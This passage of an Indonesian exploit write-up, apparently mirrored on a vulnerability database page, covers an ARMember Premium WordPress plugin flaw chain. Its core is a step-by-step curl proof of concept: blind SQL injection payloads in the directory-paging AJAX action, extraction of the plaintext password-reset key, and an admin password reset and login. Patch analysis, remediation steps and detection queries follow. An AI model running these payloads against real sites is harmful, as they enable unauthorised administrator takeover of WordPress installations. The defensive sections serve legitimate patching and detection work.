     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                    β”‚
                    β–Ό
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚  PHASE 7: VALIDATION                                                            β”‚
     β”‚  "Verifikasi akses admin penuh"                                                  β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
     β”‚                                                                                 β”‚
     β”‚  7a. Login WordPress Standard                                                    β”‚
     β”‚      β”œβ”€ POST /wp-login.php                                                       β”‚
     β”‚      β”‚   log=<ADMIN_LOGIN>                                                        β”‚
     β”‚      β”‚   pwd=<NEW_PASSWORD>                                                       β”‚
     β”‚      └─ Redirect ke /wp-admin/ β†’ dashboard accessible                            β”‚
     β”‚                                                                                 β”‚
     β”‚  7b. Login ARMember AJAX                                                         β”‚
     β”‚      β”œβ”€ POST /wp-admin/admin-ajax.php                                            β”‚
     β”‚      β”‚   action=arm_ajax_login                                                    β”‚
     β”‚      β”‚   arm_wp_nonce=<NONCE>                                                     β”‚
     β”‚      β”‚   username=<ADMIN_LOGIN>                                                   β”‚
     β”‚      β”‚   password=<NEW_PASSWORD>                                                  β”‚
     β”‚      └─ Response berisi user data + redirect URL                                  β”‚
     β”‚                                                                                 β”‚
     β”‚  7c. Verifikasi Dashboard Access                                                 β”‚
     β”‚      └─ GET /wp-admin/ β†’ 200 OK + admin menu visible                             β”‚
     β”‚                                                                                 β”‚
     β”‚  ╔═══════════════════════════════════════════════════════════╗                   β”‚
     β”‚  β•‘  βœ“ FULL CHAIN EXPLOITED                                   β•‘                   β”‚
     β”‚  β•‘  Target: target.com                                       β•‘                   β”‚
     β”‚  β•‘  User: admin                                              β•‘                   β”‚
     β”‚  β•‘  Password: <new_password>                                 β•‘                   β”‚
     β”‚  β•‘  Access: Full Administrator                               β•‘                   β”‚
     β”‚  β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•                   β”‚
     β”‚                                                                                 β”‚
     β”‚  OUTPUT: login_confirmed, dashboard_accessible                                   β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
    ```
    
    ---
    
    ## πŸ’» Proof of Concept
    
    ### Prasyarat
    
    - Target menjalankan **ARMember Premium <= 7.3.1**
    - Target memiliki **directory page** yang terekspos secara publik (untuk nonce + template_id)
    - Versi **>= 5.x** untuk fitur `arm_reset_password_key` (v4.x tidak memiliki fitur ini)
    
    ### PoC Minimal β€” Step by Step
    
    ```bash
    # ═══════════════════════════════════════════════════════
    # PHASE 1: RECONNAISSANCE
    # ═══════════════════════════════════════════════════════
    
    # Step 1a: Deteksi ARMember version
    curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'
    
    # Step 1b: Temukan directory page
    curl -s "https://target.com/?s=members" | \
      grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
      head -5
    
    # Step 1c: Ekstrak nonce + template_id dari directory page
    curl -s https://target.com/directory/ | \
      grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
    curl -s https://target.com/directory/ | \
      grep -oP 'template_id.*?value="[^"]*"' | head -1
    
    
    # ═══════════════════════════════════════════════════════
    # PHASE 2: SQL INJECTION CONFIRMATION
    # ═══════════════════════════════════════════════════════
    
    # Step 2a: Konfirmasi SQLi dengan error-based oracle
    # TRUE condition β†’ response besar (~10KB)
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    # FALSE condition β†’ response kecil (~90B, MySQL error)
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    # Jika TRUE β‰  FALSE β†’ SQLi CONFIRMED
    
    
    # ═══════════════════════════════════════════════════════
    # PHASE 3: DATABASE ENUMERATION
    # ═══════════════════════════════════════════════════════
    
    # Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
    # Test: apakah prefix wp_ ?
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    # Jika response besar β†’ prefix = wp_
    # Jika response kecil β†’ coba prefix lain
    
    # Step 3b: Ekstrak admin user_login (binary search)
    # Contoh: karakter pertama > 'a' ?
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    # Repeat binary search per karakter...
    
    # Step 3c: Cek apakah arm_reset_password_key ada
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    
    # ═══════════════════════════════════════════════════════
    # PHASE 4: TRIGGER PASSWORD RESET
    # ═══════════════════════════════════════════════════════
    
    # Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
    curl -s -X POST \
      -d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
      https://target.com/wp-admin/admin-ajax.php
    
    # Step 4b: Fallback β€” WordPress standard lostpassword
    curl -s -X POST \
      -d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
      https://target.com/wp-login.php?action=lostpassword
    
    
    # ═══════════════════════════════════════════════════════
    # PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
    # ═══════════════════════════════════════════════════════
    
    # Step 5a: Baca arm_reset_password_key dari database via SQLi
    # Binary search karakter per karakter
    # Karakter 1 > 'M' ?
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    # ... repeat untuk 20 karakter ...
    # Hasil: PLAINTEXT KEY berhasil diekstrak
    
    
    # ═══════════════════════════════════════════════════════
    # PHASE 6: RESET PASSWORD
    # ═══════════════════════════════════════════════════════
    
    # Step 6a: Akses ARMember reset endpoint dengan plaintext key
    curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"
    
    # Jika key match β†’ form reset password ditampilkan!
    # Step 6b: Submit password baru
    curl -s -X POST \
      -d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
      "https://target.com/?armrp=true"
    
    
    # ═══════════════════════════════════════════════════════
    # PHASE 7: VALIDATE LOGIN
    # ═══════════════════════════════════════════════════════
    
    # Step 7a: Login dengan password baru
    curl -v -X POST \
      -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
      https://target.com/wp-login.php
    
    # Step 7b: Verifikasi dashboard access
    curl -s -L -c cookies.txt \
      -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
      https://target.com/wp-login.php && \
    curl -s -b cookies.txt https://target.com/wp-admin/ | \
      grep "Dashboard"
    ```
    
    ---
    
    ## πŸ”§ Analisis Patch (v7.3.2)
    
    Perbaikan di versi 7.3.2 mengatasi ketiga CVE:
    
    ### Patch CVE-2026-5076 (Plaintext Key)
    
    ```php
    // VULNERABLE (<=7.3.1)
    update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
    //                                   plaintext key ^^^^^^^
    
    // PATCHED (7.3.2)
    $hashed_key = wp_hash($wp_key);
    update_user_meta($user_id, 'arm_reset_password_key', $hashed_key);
    //                                   hashed key ^^^^^^^^^^^
    ```
    
    - Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`
    - Verifikasi key menggunakan `wp_check_password()` atau hash comparison
    - Key lama yang sudah plaintext harus dihapus manual
    
    ### Patch CVE-2026-5073 (ORDER BY SQLi)
    
    ```php
    // VULNERABLE (<=7.3.1)
    $orderby = "u.{$arm_member} {$order_dir}";
    //                       ^^^^^^^^^^ langsung dari user input
    
    // PATCHED (7.3.2)
    $allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
    if (!in_array($order_dir, $allowed_orders, true)) {
        $order_dir = 'ASC';
    }
    $orderby = "u.{$arm_member} {$order_dir}";
    ```
    
    ### Patch CVE-2026-5074 (WHERE SQLi)
    
    ```php
    // VULNERABLE (<=7.3.1)
    $where .= " AND " . $filter;
    //                 ^^^^^^^ langsung concatenation
    
    // PATCHED (7.3.2)
    // Filter parameter removed from user input entirely
    // Filtering now handled server-side with prepared statements
    ```
    
    ---
    
    ## πŸ›‘οΈ Remediasi
    
    ### Langkah Segera
    
    1. **Update ARMember Premium** ke versi **7.3.2** atau lebih baru
    2. **Hapus semua `arm_reset_password_key`** yang ada di database:
       ```sql
       DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
       ```
    3. **Reset semua password admin** β€” plaintext key lama mungkin sudah dikompromikan
    4. **Audit akun user** β€” cek akun administrator yang tidak dikenal
    5. **Batasi akses directory page** β€” pastikan hanya user terautentikasi yang bisa mengakses
    
    ### Deteksi Indikator Kompromi
    
    ```sql
    -- Cek apakah ada arm_reset_password_key (indikasi exploit)
    SELECT user_id, meta_value FROM wp_usermeta 
    WHERE meta_key = 'arm_reset_password_key' 
    AND meta_value != '';
    
    -- Cek login mencurigakan
    SELECT * FROM wp_users 
    WHERE user_activation_key != '' 
    AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);
    ```
    
    ### Mitigasi Tanpa Update
    
    - **Hapus meta key** `arm_reset_password_key` secara berkala via cron
    - **Nonaktifkan** ARMember forgot-password form (gunakan WP standard saja)
    - **Batasi** akses ke directory page (require login)
    - **Implementasikan WAF** yang memblokir SQLi pattern pada `arm_directory_paging_action`
    
    ---
    
    ## 🧩 Attack Scenarios
    
    ### Scenario A: Classic Full Chain (All CVEs Combined)
    
    ```
    Attacker discovers directory page β†’ extracts nonce+tid β†’ 
    SQLi to read arm_reset_password_key (plaintext) β†’ 
    uses armrp endpoint to reset admin password β†’ 
    logs in as admin
    ```
    **Requires**: ARMember v5.x+ with forgot-password triggered by real user
    
    ### Scenario B: SQLi + WP Lostpassword Hybrid
    
    ```
    Attacker discovers directory page β†’ extracts nonce+tid β†’
    SQLi to extract admin_login + admin_email β†’
    triggers WP lostpassword β†’ email sent β†’
    SQLi to read user_activation_key (hashed) β†’
    CRACK the hash offline β†’ reset password via wp-login.php
    ```
    **Requires**: Site with working mail server, hash cracking capability
    
    ### Scenario C: Database Backup Exposure
    
    ```
    Attacker finds exposed database backup (.sql, .zip, .tar.gz) β†’
    grep for arm_reset_password_key β†’ 
    obtain plaintext keys β†’ 
    use armrp endpoint to reset passwords
    ```
    **Requires**: Exposed backup, no SQLi needed
    
    ### Scenario D: Compromised Admin + Lateral Movement
    
    ```
    Attacker gains admin via CVE-2022-1903 or other vector β†’
    reads arm_reset_password_key for ALL users β†’
    resets passwords for other admin accounts β†’
    persists access even if original vulnerability is patched
    ```
    **Requires**: Initial admin access via any vector
    
    ---
    
    ## ⚠️ Disclaimer
    
    Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.
    
    ---
    
    ## πŸ“š Referensi
    
    - [Wordfence Advisory β€” CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
    - [Wordfence Advisory β€” CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
    - [Wordfence Advisory β€” CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
    - [ARMember Plugin Repository](https://wordpress.org/plugins/armember-membership/)
    - [WordPress Password Reset Mechanism](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
    - [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)
    
    ---
    
    <div align="center">
    
    ![](https://img.shields.io/badge/Made%20with-%E2%9D%A4-red?style=flat-square)
    ![](https://img.shields.io/badge/For-Educational%20Purpose-blue?style=flat-square)
    
    Copyright Β© 2026 **XENON1337**
    
    Special Thanks: **ENDANG** 
    
    </div>

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jun 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.00064
SSVC
10